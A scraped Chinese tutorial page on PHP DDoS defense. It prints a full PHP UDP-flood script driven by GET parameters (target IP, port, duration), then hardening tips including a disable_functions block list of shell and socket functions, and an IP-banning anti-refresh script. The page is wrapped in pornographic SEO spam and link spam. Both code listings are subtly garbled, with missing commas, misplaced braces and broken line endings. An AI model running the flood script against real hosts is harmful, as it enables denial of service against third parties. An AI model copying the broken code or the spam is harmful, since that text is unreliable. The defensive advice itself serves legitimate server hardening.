国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 開發(fā) > PHP > 正文

PHP DDos的幾個防御方法詳解

2024-05-04 21:48:16
字體:
供稿:網(wǎng)友

PHP DDos是一種利用服務(wù)器就是利用我服務(wù)器的php.ini中配置allow_url_fopen = On才得成了,但allow_url_fopen 這個功能很多網(wǎng)站都需要使用,下面我來給大家介紹一些關(guān)于PHP DDos的幾個防御方法.

我們先來看php ddos代碼,代碼如下:

  1. <?php 
  2. $packets = 0;  
  3. $ip = $_GET['ip'];  
  4. $rand = $_GET['port'];  
  5. set_time_limit(0);  
  6. ignore_user_abort(FALSE); 
  7. $exec_time = $_GET['time']; 
  8. $time = time();  
  9. print "Flooded: $ip on port $rand 
  10. ";  
  11. $max_time = $time+$exec_time
  12.  
  13. for($i=0;$i<65535;$i++){  
  14. $out .= "X";  
  15. }  
  16. while(1){  
  17. $packets++;  
  18. if(time() > $max_time){  
  19. break;  
  20. $fp = fsockopen("udp://$ip"$rand$errno$errstr, 5);  
  21. if($fp){  
  22. fwrite($fp$out);  
  23. fclose($fp);  
  24. }  
  25. //開源代碼Vevb.com 
  26. echo "Packet complete at ".time('h:i:s')." with $packets (" . round(($packets*65)/1024, 2) . " mB) packets averaging "round($packets/$exec_time, 2) . " packets/s n";  
  27. ?> 

細心的朋友會發(fā)現(xiàn)fsockopen是一個主要攻擊函數(shù)了,不斷連接發(fā)送請求導(dǎo)致機器流量與cpu過多從而網(wǎng)站不對正常訪問了.

于是簡單的研究了一下PHP DDos腳本構(gòu)造,并有所收獲,下面介紹幾點可以最大程度避免的方法.

注意:以下操作具有危險性,對于造成的任何后果,與傲游無關(guān),請謹(jǐn)慎操作.

1.打開php.ini,2.禁用危險函數(shù)

由于程序不同,函數(shù)要求也不同,所以請客戶自行增刪需要禁用的函數(shù),找到disable_functions,將前面的“;”去掉,在等號后面增加如下代碼:

phpinfo,passthru,exec,system,popen,chroot,escapeshellcmd,escapeshellarg,shell_exec,proc_open,proc_get_status,fsocket,fsockopen

3.設(shè)置PHP執(zhí)行超時時間

如果程序未執(zhí)行結(jié)束但已經(jīng)達到最大執(zhí)行時間,則會被強制停止,請根據(jù)需要調(diào)整時間,找到max_execution_time,將前面的“;”去掉,在等號后面增加正整數(shù),單位為秒,如:30

4.禁用上傳目錄PHP執(zhí)行權(quán)限

大概分為三種服務(wù)器:IIS,Apache、Nginx,具體步驟就不寫了.

5.一個很暴力的方法

直接禁止PHP執(zhí)行,原因是很多站點都可以生成靜態(tài)網(wǎng)頁的,每次生成或者管理都去手工打開PHP執(zhí)行權(quán)限,現(xiàn)在已經(jīng)有幾個用戶使用這種方法了,具體方法參見方法4

6.關(guān)閉用戶中心

比如dede等cms都會有用戶中心,里面有很多上傳的地方,這就是大概的問題所在.

7.修改管理員目錄

這個方法就不細談了,并不是對所有程序都適合.

8.修改默認(rèn)管理帳號

很多人都習(xí)慣使用:admin 但是如果程序出現(xiàn)漏洞,很容易被猜測出admin的密碼,所以建議修改admin為其他登錄名.

9.一個復(fù)雜且記得住的密碼

不管是Windows/Linux的系統(tǒng)用戶還是網(wǎng)站管理員的賬戶,都需要設(shè)置一個難以猜解的密碼,如:123hai@tang@.

后再再附一個php防ddos攻擊的代碼,代碼如下:

  1. <?php   
  2. //查詢禁止IP   
  3. $ip =$_SERVER['REMOTE_ADDR'];   
  4. $fileht=".htaccess2";   
  5. if(!file_exists($fileht))file_put_contents($fileht,"");   
  6. $filehtarr=@file($fileht);   
  7. if(in_array($ip."rn",$filehtarr))die("Warning:"."<br>"."Your IP address are forbided by some reason, IF you have any question Pls emill to shop@mydalle.com!");  
  8.  
  9. //加入禁止IP   
  10. $time=time();   
  11. $fileforbid="log/forbidchk.dat";   
  12. if(file_exists($fileforbid))   
  13. if($time-filemtime($fileforbid)>60)unlink($fileforbid);   
  14. else{   
  15. $fileforbidarr=@file($fileforbid);   
  16. if($ip==substr($fileforbidarr[0],0,strlen($ip)))   
  17. {   
  18. if($time-substr($fileforbidarr[1],0,strlen($time))>600)unlink($fileforbid);  
  19. elseif($fileforbidarr[2]>600){file_put_contents($fileht,$ip."rn",FILE_APPEND);unlink($fileforbid);}   
  20. else{$fileforbidarr[2]++;file_put_contents($fileforbid,$fileforbidarr);}   
  21. }   
  22. }   
  23. }   
  24. //防刷新   
  25. $str="";   
  26. $file="log/ipdate.dat";   
  27. if(!file_exists("log")&&!is_dir("log"))mkdir("log",0777);   
  28. if(!file_exists($file))file_put_contents($file,"");   
  29. $allowTime = 120;//防刷新時間   
  30. $allowNum=10;//防刷新次數(shù)   
  31. $uri=$_SERVER['REQUEST_URI'];   
  32. $checkip=md5($ip);   
  33. $checkuri=md5($uri);   
  34. $yesno=true;   
  35. $ipdate=@file($file);   
  36. foreach($ipdate as $k=>$v)   
  37. $iptem=substr($v,0,32);   
  38. $uritem=substr($v,32,32);   
  39. $timetem=substr($v,64,10);   
  40. $numtem=substr($v,74);   
  41. if($time-$timetem<$allowTime){   
  42. if($iptem!=$checkip)$str.=$v;   
  43. else{   
  44. $yesno=false;   
  45. if($uritem!=$checkuri)$str.=$iptem.$checkuri.$time."1rn";   
  46. elseif($numtem<$allowNum)$str.=$iptem.$uritem.$timetem.($numtem+1)."rn";   
  47. else   
  48. {   
  49. if(!file_exists($fileforbid)){$addforbidarr=array($ip."rn",time()."rn",1);file_put_contents($fileforbid,$addforbidarr);}   
  50. file_put_contents("log/forbided_ip.log",$ip."--".date("Y-m-d H:i:s",time())."--".$uri."rn",FILE_APPEND);   
  51. $timepass=$timetem+$allowTime-$time;   
  52. die("Warning:"."<br>"."Sorry,you are forbided by refreshing frequently too much, Pls wait for ".$timepass." seconds to continue!");   
  53. }   
  54. }   
  55. }  //開源代碼Vevb.com 
  56. }   
  57. if($yesno$str.=$checkip.$checkuri.$time."1rn";   
  58. file_put_contents($file,$str);   
  59. ?> 

發(fā)表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發(fā)表
主站蜘蛛池模板: 浑源县| 布尔津县| 隆德县| 阳江市| 宁化县| 日土县| 阜城县| 永定县| 宁安市| 库伦旗| 桂平市| 安阳市| 讷河市| 开江县| 襄垣县| 瓮安县| 子洲县| 菏泽市| 青铜峡市| 米脂县| 莒南县| 成武县| 仪征市| 绥化市| 怀安县| 西安市| 涟源市| 盘山县| 兴义市| 大洼县| 邹城市| 启东市| 师宗县| 英超| 郓城县| 玉山县| 怀化市| 邹平县| 寿宁县| 延庆县| 红河县|